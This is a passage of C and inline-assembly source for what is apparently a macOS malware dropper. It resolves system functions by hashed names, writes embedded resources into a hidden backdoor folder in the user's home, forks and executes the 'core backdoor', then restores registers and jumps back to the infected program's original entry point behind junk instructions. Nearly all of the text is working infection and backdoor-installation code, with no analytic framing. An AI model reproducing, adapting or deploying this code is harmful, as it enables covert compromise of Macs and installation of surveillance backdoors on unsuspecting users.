resourceHeader *resource = NULL;
char *strings[16];
#endif
//
// dyld function pointer prototypes
//
uint32_t (*_idyld_image_count) (void);
const char *(*_idyld_get_image_name) (uint32_t);
const struct mach_header *(*_idyld_get_image_header) (uint32_t);
//
// libSystem function pointer prototypes
//
int (*iopen) (const char *, int, ...);
long (*ilseek) (int, _mOff_t, int);
int (*iclose) (int);
int (*ichdir) (const char *);
int (*iwrite) (int, const void *, int);
int (*ipwrite) (int, const void *, int, _mOff_t);
int (*istat) (const char *, struct stat *);
void *(*immap) (void *, _mSize_t, int, int, int, _mOff_t);
int (*imunmap) (void *, _mSize_t);
void *(*imemcpy) (void *, const void *, int);
int (*isprintf) (char *, const char *, ...);
int (*iprintf) (const char *, ...);
char *(*igetenv) (const char *);
int (*imkdir) (const char *, unsigned int);
int (*iexecve) (const char *, char *, char *);
int (*iexecl) (const char *, const char *, ...);
int (*ifork) (void);
char *(*istrncpy) (char *, const char *, _mSize_t);
void *(*imalloc) (int);
void (*ifree) (void *);
unsigned int (*isleep) (unsigned int);
int (*isigaction) (int sig, sigaction *act, sigaction *oact);
void *libdyldAddress = mapLibDyld();
void *libsystemcAddress = mapLibSystemC();
void *libsystemkAddress = mapLibSystemK();
unsigned int imageBase = (unsigned int)dyldBaseAddress;
if (osx_version == 1)
_idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_snow((byte *)imageBase, dyld_image_countHash));
else if (osx_version == 2)
_idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_lion((byte *)imageBase, dyld_image_countHash));
else if (osx_version == 3)
_idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_mavericks((byte *)imageBase, dyld_image_countHash));
if ((int)_idyld_image_count != -1)
{
imageCount = _idyld_image_count ();
#ifdef LOADER_DEBUG
printf ("[ii] imageCount: %d\n", imageCount);
#endif
if (osx_version == 1)
{
_idyld_get_image_name = (const char *(__cdecl *)(uint32_t))
(findSymbol_snow((byte *)imageBase, dyld_get_image_nameHash));
_idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t))
(findSymbol_snow((byte *)imageBase, dyld_get_image_headerHash));
}
else if (osx_version == 2)
{
_idyld_get_image_name = (const char *(__cdecl *)(uint32_t))
(findSymbol_lion((byte *)imageBase, dyld_get_image_nameHash));
_idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t))
(findSymbol_lion((byte *)imageBase, dyld_get_image_headerHash));
}
else if (osx_version == 3)
{
_idyld_get_image_name = (const char *(__cdecl *)(uint32_t))
(findSymbol_mavericks((byte *)imageBase, dyld_get_image_nameHash));
_idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t))
(findSymbol_mavericks((byte *)imageBase, dyld_get_image_headerHash));
}
const struct mach_header *m_header = NULL;
if ((int)_idyld_get_image_name != -1)
{
if (osx_version == 1)
{
// We are on Leopard / Snow Leopard
for (z = 0; z < imageCount; z++)
{
imageName = _idyld_get_image_name (z);
m_header = _idyld_get_image_header (z);
#ifdef LOADER_DEBUG
printf ("[ii] image: %s\n", imageName);
#endif
if (sdbm ((unsigned char *)imageName) == libSystemHash)
{
if ((int)_idyld_get_image_header != -1)
{
libSystemAddress = mapLibSystem();
if (libSystemAddress == NULL)
doExit();
iopen = (int (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libSystemAddress, openHash) + (unsigned int)m_header);
ilseek = (long (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libSystemAddress, lseekHash) + (unsigned int)m_header);
iclose = (int (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libSystemAddress, closeHash) + (unsigned int)m_header);
ichdir = (int (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libSystemAddress, chdirHash) + (unsigned int)m_header);
iwrite = (int (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libSystemAddress, writeHash) + (unsigned int)m_header);
ipwrite = (int (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libSystemAddress, pwriteHash) + (unsigned int)m_header);
istat = (int (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libSystemAddress, statHash) + (unsigned int)m_header);
immap = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libSystemAddress, mmapHash) + (unsigned int)m_header);
imunmap = (int (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libSystemAddress, munmapHash) + (unsigned int)m_header);
imemcpy = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libSystemAddress, memcpyHash) + (unsigned int)m_header);
isprintf = (int (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libSystemAddress, sprintfHash) + (unsigned int)m_header);
iprintf = (int (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libSystemAddress, printfHash) + (unsigned int)m_header);
igetenv = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libSystemAddress, getenvHash) + (unsigned int)m_header);
imkdir = (int (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libSystemAddress, mkdirHash) + (unsigned int)m_header);
iexecve = (int (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libSystemAddress, execveHash) + (unsigned int)m_header);
iexecl = (int (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libSystemAddress, execlHash) + (unsigned int)m_header);
ifork = (int (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libSystemAddress, forkHash) + (unsigned int)m_header);
istrncpy = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libSystemAddress, strncpyHash) + (unsigned int)m_header);
imalloc = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libSystemAddress, mallocHash) + (unsigned int)m_header);
ifree = (void (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libSystemAddress, freeHash) + (unsigned int)m_header);
isleep = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libSystemAddress, sleepHash) + (unsigned int)m_header);
isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libSystemAddress, sigactionHash) + (unsigned int)m_header);
}
break;
}
}
}
else if (osx_version == 2)
{
// We are on Lion
for (z = 0; z < imageCount; z++)
{
imageName = _idyld_get_image_name(z);
m_header = _idyld_get_image_header(z);
#ifdef LOADER_DEBUG
printf ("[ii] image: %s\n", imageName);
#endif
unsigned int hash = sdbm((unsigned char *)imageName);
if (hash == libsystemkHash)
{
if (libsystemkAddress == NULL)
doExit(); // FIXME: OEP_CALL ?
iopen = (int (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libsystemkAddress, openHash) + (unsigned int)m_header);
ilseek = (long (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, lseekHash) + (unsigned int)m_header);
iclose = (int (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, closeHash) + (unsigned int)m_header);
ichdir = (int (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, chdirHash) + (unsigned int)m_header);
iwrite = (int (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, writeHash) + (unsigned int)m_header);
ipwrite = (int (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, pwriteHash) + (unsigned int)m_header);
istat = (int (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libsystemkAddress, statHash) + (unsigned int)m_header);
immap = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, mmapHash) + (unsigned int)m_header);
imunmap = (int (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, munmapHash) + (unsigned int)m_header);
imkdir = (int (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mkdirHash) + (unsigned int)m_header);
iexecve = (int (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, execveHash) + (unsigned int)m_header);
}
else if (hash == libsystemcHash)
{
if (libsystemcAddress == NULL)
doExit(); // OEP_CALL?? FIXME
imemcpy = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libsystemcAddress, memcpyHash) + (unsigned int)m_header);
isprintf = (int (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libsystemcAddress, sprintfHash) + (unsigned int)m_header);
iprintf = (int (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, printfHash) + (unsigned int)m_header);
igetenv = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemcAddress, getenvHash) + (unsigned int)m_header);
iexecl = (int (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, execlHash) + (unsigned int)m_header);
ifork = (int (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libsystemcAddress, forkHash) + (unsigned int)m_header);
istrncpy = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemcAddress, strncpyHash) + (unsigned int)m_header);
imalloc = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemcAddress, mallocHash) + (unsigned int)m_header);
ifree = (void (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libsystemcAddress, freeHash) + (unsigned int)m_header);
isleep = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libsystemcAddress, sleepHash) + (unsigned int)m_header);
isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libsystemcAddress, sigactionHash) + (unsigned int)m_header);
}
}
}
else
{
for (z = 0; z < imageCount; z++)
{
imageName = _idyld_get_image_name(z);
m_header = _idyld_get_image_header(z);
unsigned int hash = sdbm((unsigned char *)imageName);
if (hash == libsystemkHash)
{
if (libsystemkAddress == NULL)
doExit();
iopen = (int (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libsystemkAddress, openHash) + (unsigned int)m_header);
ilseek = (long (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, lseekHash) + (unsigned int)m_header);
iclose = (int (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, closeHash) + (unsigned int)m_header);
ichdir = (int (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, chdirHash) + (unsigned int)m_header);
iwrite = (int (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, writeHash) + (unsigned int)m_header);
ipwrite = (int (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, pwriteHash) + (unsigned int)m_header);
istat = (int (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libsystemkAddress, statHash) + (unsigned int)m_header);
immap = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, mmapHash) + (unsigned int)m_header);
imunmap = (int (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, munmapHash) + (unsigned int)m_header);
imkdir = (int (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mkdirHash) + (unsigned int)m_header);
iexecve = (int (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, execveHash) + (unsigned int)m_header);
imemcpy = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, memcpyHash) + (unsigned int)m_header);
imalloc = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mallocHash) + (unsigned int)m_header);
ifree = (void (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libsystemkAddress, freeHash) + (unsigned int)m_header);
}
else if (hash == libsystemcHash)
{
if (libsystemcAddress == NULL)
doExit();
isprintf = (int (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libsystemcAddress, sprintfHash) + (unsigned int)m_header);
iprintf = (int (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, printfHash) + (unsigned int)m_header);
igetenv = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemcAddress, getenvHash) + (unsigned int)m_header);
iexecl = (int (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, execlHash) + (unsigned int)m_header);
ifork = (int (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libsystemcAddress, forkHash) + (unsigned int)m_header);
istrncpy = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemcAddress, strncpyHash) + (unsigned int)m_header);
isleep = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libsystemcAddress, sleepHash) + (unsigned int)m_header);
isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libsystemcAddress, sigactionHash) + (unsigned int)m_header);
}
}
}
// first restore signal handler
new_act.sig_action = 0; // SIG_DFL
isigaction(0xb, &new_act, &old_act); // 0xb == SIGSEGV
#ifndef LOADER_DEBUG
for (i = 0; i < infection->numberOfStrings; i++)
{
strings[i] = stringList->value;
offset += sizeof (stringTable);
stringList = (stringTable *)offset;
}
void *envVariableName = (char *)strings[0];
if (igetenv != 0)
{
userHome = (char *) igetenv ((const char *)envVariableName);
}
else
errorOnInstall = 1; // FIXME: doExit() or goto EOPCALL
char *backdoorDropPath = (char *)imalloc(128);
char *cin = strings[5];
char *qua = strings[4];
char *un = strings[1];
if (osx_version == 3)
{
__asm
{
push 1 /* fuck SIMD :|, su mavericks la sprintf fa uso di istruzioni SSE che richiedono stack allineato a 16 byte*/
push 1 /* fuck SIMD :| quindi nel caso crashase sulla sprintf misteriosamente si puo' aggiungere o togliere uno o piu' push push */
push 1 /* fuck SIMD :| */
push cin
push qua
push userHome
push un
push backdoorDropPath
call isprintf
}
}
else
isprintf(backdoorDropPath, strings[1], userHome, strings[4], strings[5]);
backdoorPath = (char *)imalloc (256);
char *backdoorDir = NULL;
offset = (unsigned int)infectionBase
+ sizeof (infectionHeader)
+ sizeof (stringTable) * infection->numberOfStrings
+ infection->dropperSize
+ crtStartSize + 1;
//
// Cycle through and drop all the resources
//
for (i = 0; i < infection->numberOfResources; i++)
{
char *destinationPath = (char *) imalloc (256);
destinationDir = (char *) imalloc (128);
resource = (resourceHeader *)offset;
isprintf (destinationDir, strings[2], backdoorDropPath, resource->path);
if (backdoorDir == NULL)
{
backdoorDir = (char *)imalloc (256);
isprintf (backdoorDir, strings[2], backdoorDropPath, resource->path);
}
imkdir (destinationDir, 0755);
isprintf (destinationPath, strings[2], destinationDir, resource->name);
if (resource->type == RESOURCE_CORE)
{
if (osx_version == 3)
{
__asm
{
push 1 // questa push e' per allineare lo stack a 16 byte come sopra (per mavericks)
push 256
push destinationPath
push backdoorPath
call istrncpy
}
}
else
istrncpy (backdoorPath, destinationPath, 256);
if ((fd = iopen (destinationPath, O_CREAT | O_EXCL, 0755)) == -1)
backdoorIsAlreadyInstalled = 1;
}
int resSize = resource->size;
offset += sizeof (resourceHeader);
if ((fd = iopen (destinationPath, O_RDWR | O_CREAT | O_TRUNC, 0755)) >= 0)
{
if (iwrite (fd, (const void *)offset, resSize) == -1)
errorOnInstall = 1;
iclose (fd);
}
offset += resSize;
ifree (destinationDir);
ifree (destinationPath);
}
ifree (backdoorDropPath);
//
// Execute the core backdoor file
//
if (//backdoorIsAlreadyInstalled == 0
errorOnInstall == 0)
{
if ((pid = ifork()) == 0)
{
ichdir (backdoorDir);
iexecl (backdoorPath, backdoorPath, NULL, NULL, NULL);
}
else if (pid > 0)
{
// jump to the original entry point
//doExit ();
}
else if (pid < 0)
{
//doExit ();
}
}
ifree (backdoorDir);
ifree (backdoorPath);
OEP_CALL:
#ifdef WIN32
// Here we have to remove the fixed base (0x1000) and add
// the randomized one
uint32_t baseAddress = (uint32_t)_idyld_get_image_header(0);
uint32_t originalEP = infection->originalEP - 0x1000 + (uint32_t)baseAddress;
//
// Restore register state and jump to the original entrypoint
// ebp will be disarded by the crt initializer, so we can use it for the jump
//
__asm__ __volatile__ {
mov eax, _eax
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
mov ecx, _ecx
mov edx, _edx
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
mov ebx, _ebx
mov esi, _esi
mov edi, _edi
mov esp, _esp
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
mov ebp, originalEP;
mov eax, eax
add eax, 0
mov ebx, ebx
add ebp, 0x30 // start right where we left, FIXME: what about EP different from crtStart??
jmp ebp
}
#else
__asm__ __volatile__ (
"movl %0, %%eax\n"
"movl $0x1000, %%ebx\n"
"movl $0x5, %%ecx\n"
:
:"m"(infection->originalEP)
);
__asm__ __volatile__ (
"movl %0, %%esp\n"
"jmp *%%eax\n"
:
:"m"(esp)
);
#endif
#endif
}
}
}
void dropperEnd ()
{
int b = 1;
}